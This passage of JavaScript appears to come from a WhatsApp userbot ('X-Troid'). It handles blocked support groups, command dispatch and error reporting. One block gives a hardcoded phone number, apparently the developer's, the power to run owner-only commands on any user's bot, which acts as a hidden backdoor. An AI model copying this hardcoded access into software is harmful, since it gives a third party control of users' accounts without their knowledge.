if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.NWS3 == '94702102324-1624633291') {
var tsup = config.NWS3.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.SUPPORT == '94702102324-1616997271') {
var tsup = config.SUPPORT.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.SUPPORT2 == '94702102324-1619710622') {
var tsup = config.SUPPORT2.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G1 == '94758258917-1538284375') {
var tsup = config.G1.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G2 == '94758258917-1553586710') {
var tsup = config.G2.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G3 == '94758258917-1563444031') {
var tsup = config.G3.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G4 == '94758258917-1563796118') {
var tsup = config.G4.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G5 == '94758258917-1574127271') {
var sup = config.G5.split(',');
if(msg.key.remoteJid.includes('-') ? sup.includes(msg.key.remoteJid.split('@')[0]) : sup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G6 == '94758258917-1577356855') {
var tsup = config.G6.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G7 == '94702102324-1606916704') {
var tsup = config.G7.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G8 == '94702102324-1612721726') {
var tsup = config.G8.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G9 == '94702102324-1623072392') {
var tsup = config.G9.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
if (config.G10 == '94702102324-1623072431') {
var tsup = config.G10.split(',');
if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ;
}
// ==================== End Blocked Chats ====================
// ==================== Events ====================
events.commands.map(
async (command) => {
if (msg.message && msg.message.imageMessage && msg.message.imageMessage.caption) {
var text_msg = msg.message.imageMessage.caption;
} else if (msg.message && msg.message.videoMessage && msg.message.videoMessage.caption) {
var text_msg = msg.message.videoMessage.caption;
} else if (msg.message) {
var text_msg = msg.message.extendedTextMessage === null ? msg.message.conversation : msg.message.extendedTextMessage.text;
} else {
var text_msg = undefined;
}
if ((command.on !== undefined && (command.on === 'image' || command.on === 'photo')
&& msg.message && msg.message.imageMessage !== null &&
(command.pattern === undefined || (command.pattern !== undefined &&
command.pattern.test(text_msg)))) ||
(command.pattern !== undefined && command.pattern.test(text_msg)) ||
(command.on !== undefined && command.on === 'text' && text_msg) ||
// Video
(command.on !== undefined && (command.on === 'video')
&& msg.message && msg.message.videoMessage !== null &&
(command.pattern === undefined || (command.pattern !== undefined &&
command.pattern.test(text_msg))))) {
let sendMsg = false;
var chat = conn.chats.get(msg.key.remoteJid)
if ((config.SUDO !== false && msg.key.fromMe === false && command.fromMe === true &&
(msg.participant && config.SUDO.includes(',') ? config.SUDO.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == config.SUDO || config.SUDO.includes(',') ? config.SUDO.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == config.SUDO)
) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) {
if (command.onlyPinned && chat.pin === undefined) return;
if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true;
else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true;
}
if ((OWN.ff == "94702102324,0" && msg.key.fromMe === false && command.fromMe === true &&
(msg.participant && OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == OWN.ff || OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == OWN.ff)
) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) {
if (command.onlyPinned && chat.pin === undefined) return;
if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true;
else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true;
}
// ==================== End Events ====================
// ==================== Message Catcher ====================
if (sendMsg) {
if (config.SEND_READ && command.on === undefined) {
await conn.chatRead(msg.key.remoteJid);
}
var match = text_msg.match(command.pattern);
if (command.on !== undefined && (command.on === 'image' || command.on === 'photo' )
&& msg.message.imageMessage !== null) {
whats = new Image(conn, msg);
} else if (command.on !== undefined && (command.on === 'video' )
&& msg.message.videoMessage !== null) {
whats = new Video(conn, msg);
} else {
whats = new Message(conn, msg);
}
/*
if (msg.key.fromMe && command.deleteCommand) {
var wrs = conn.user.phone.wa_version.split('.')[2]
if (wrs < 11) {
await whats.delete()
}
}
*/
// ==================== End Message Catcher ====================
// ==================== Error Message ====================
try {
await command.function(whats, match);
}
catch (error) {
if (config.NOLOG == 'true') return;
if (config.LANG == 'TR' || config.LANG == 'AZ') {
await conn.sendMessage(conn.user.jid, '*-- ERROR REPORT [🚀 X-Troid] --*' +
'\n*🚀 X-Troid an error has occurred!*'+
'\n*This error log may include your number or the number of an opponent. Please be careful with it!*' +
'\n*You can write to our Telegram group for help.*' +
'\n*Aslo you can join our support group:* https://chat.whatsapp.com/LUbUB7edSU3H0uRgLuvAll' +
'\n*This message should have gone to your number (saved messages).*\n\n' +
'*Error:* ```' + error + '```\n\n'
, MessageType.text, {detectLinks: false}
);
if (error.message.includes('URL')) {
return await conn.sendMessage(conn.user.jid, '*URL error: use only url*'
, MessageType.text
);
}
else if (error.message.includes('conversation')) {
return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [🚀 X-Troid] ⚕️*' +
'\n========== ```Error Resolved!``` ==========' +
'\n\n*Main Error:* _Deleting Plugin_' +
'\n*Reason:* _Entering incorrectly the name of the plugin wanted to be deleted._' +
'\n*Solution:* _Please try without adding_ *__* _to the plugin you want to delete. If you still get an error, try to add like_ ```?(.*) / $``` _to the end of the name._ '
, MessageType.text
);
}
else if (error.message.includes('split')) {
return await conn.sendMessage(conn.user.jid, '*Connection bug* if bot not work restart manually'
, MessageType.text
);
}
else if (error.message.includes('SSL')) {
return await conn.sendMessage(conn.user.jid, '*SQL Database Error* Check your DB URI'
, MessageType.text
);
}
else if (error.message.includes('Ookla')) {
return await conn.sendMessage(conn.user.jid, '*Error Ookla servers busy*'
);
}
else if (error.message.includes('params')) {
return await conn.sendMessage(conn.user.jid, '*Use A-Z & 1-10 only for tts*'
, MessageType.text
);
}
else if (error.message.includes('unlink')) {
return await conn.sendMessage(conn.user.jid, '*No Such File or Directory plugin or web error*'
, MessageType.text
);
}
else if (error.message.includes('404')) {
return await conn.sendMessage(conn.user.jid, '*Error 404* web site Down or link not valid'
, MessageType.text
);
}
else if (error.message.includes('reply.delete')) {
return await conn.sendMessage(conn.user.jid, '*Errors calculating & reporting to Admin*'
, MessageType.text
);
}
else if (error.message.includes('load.delete')) {
return await conn.sendMessage(conn.user.jid, '*Error send & delet funtion crashet,* do not worry this is simple error'
, MessageType.text
);
}
else if (error.message.includes('400')) {
return await conn.sendMessage(conn.user.jid, '*Error Bailyes not connected, giwe some time to load your chts*'
, MessageType.text
);
}
else if (error.message.includes('decode')) {
return await conn.sendMessage(conn.user.jid, '*Error please use plgins to related thing*'
, MessageType.text
);
}
else if (error.message.includes('unescaped')) {
return await conn.sendMessage(conn.user.jid, '*Error please use an English only to command*'
, MessageType.text
);
}
else {
return await conn.sendMessage(conn.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*'
, MessageType.text
);
}
}
else {
await conn.sendMessage(conn.user.jid, '*-- ERROR REPORT [🚀 X-Troid] --*' +
'\n*🚀 X-Troid an error has occurred!*'+
'\n*This error log may include your number or the number of an opponent. Please be careful with it!*' +
'\n*You can write to our Telegram group for help.*' +
'\n*Aslo you can join our support group:* https://chat.whatsapp.com/LUbUB7edSU3H0uRgLuvAll' +
'\n*This message should have gone to your number (saved messages).*\n\n' +
'*Error:* ```' + error + '```\n\n'
, MessageType.text, {detectLinks: false}
);
if (error.message.includes('URL')) {
return await conn.sendMessage(conn.user.jid, '*URL error: use only url*'
, MessageType.text
);
}
else if (error.message.includes('conversation')) {
return await conn.sendMessage(conn.user.jid, '*⚕️ ERROR ANALYSIS [🚀 X-Troid] ⚕️*' +
'\n========== ```Error Resolved!``` ==========' +
'\n\n*Main Error:* _Deleting Plugin_' +
'\n*Reason:* _Entering incorrectly the name of the plugin wanted to be deleted._' +
'\n*Solution:* _Please try without adding_ *__* _to the plugin you want to delete. If you still get an error, try to add like_ ```?(.*) / $``` _to the end of the name._ '
, MessageType.text
);
}
else if (error.message.includes('split')) {
return await conn.sendMessage(conn.user.jid, '*Connection bug* if bot not work restart manually'
, MessageType.text
);
}
else if (error.message.includes('SSL')) {
return await conn.sendMessage(conn.user.jid, '*SQL Database Error* Check your DB URI'
, MessageType.text
);
}
else if (error.message.includes('Ookla')) {
return await conn.sendMessage(conn.user.jid, '*Error Ookla servers busy*'
);
}
else if (error.message.includes('params')) {
return await conn.sendMessage(conn.user.jid, '*Use A-Z & 1-10 only for tts*'
, MessageType.text
);
}
else if (error.message.includes('unlink')) {
return await conn.sendMessage(conn.user.jid, '*No Such File or Directory plugin or web error*'
, MessageType.text
);
}
else if (error.message.includes('404')) {
return await conn.sendMessage(conn.user.jid, '*Error 404* web site Down or link not valid'
, MessageType.text
);
}
else if (error.message.includes('reply.delete')) {
return await conn.sendMessage(conn.user.jid, '*Errors calculating & reporting to Admin*'
, MessageType.text
);
}
else if (error.message.includes('load.delete')) {
return await conn.sendMessage(conn.user.jid, '*Error send & delet funtion crashet,* do not worry this is simple error'
, MessageType.text
);
}
else if (error.message.includes('400')) {
return await conn.sendMessage(conn.user.jid, '*Error Bailyes not connected, giwe some time to load your chts*'
, MessageType.text
);
}
else if (error.message.includes('decode')) {
return await conn.sendMessage(conn.user.jid, '*Error please use plgins to related thing*'
, MessageType.text
);
}
else if (error.message.includes('unescaped')) {
return await conn.sendMessage(conn.user.jid, '*Error please use an English only to command*'
, MessageType.text
);
}
else {
return await conn.sendMessage(conn.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*'
, MessageType.text
);
}
}
}
}
}
}
)
});
// ==================== End Error Message ====================
try {
await conn.connect();
} catch {
if (!nodb) {
console.log(chalk.red.bold('Eski sürüm stringiniz yenileniyor...'))
conn.loadAuthInfo(Session.deCrypt(config.SESSION));
try {
await conn.connect();
} catch {
return;
}
}
}
}
LasiXtroid();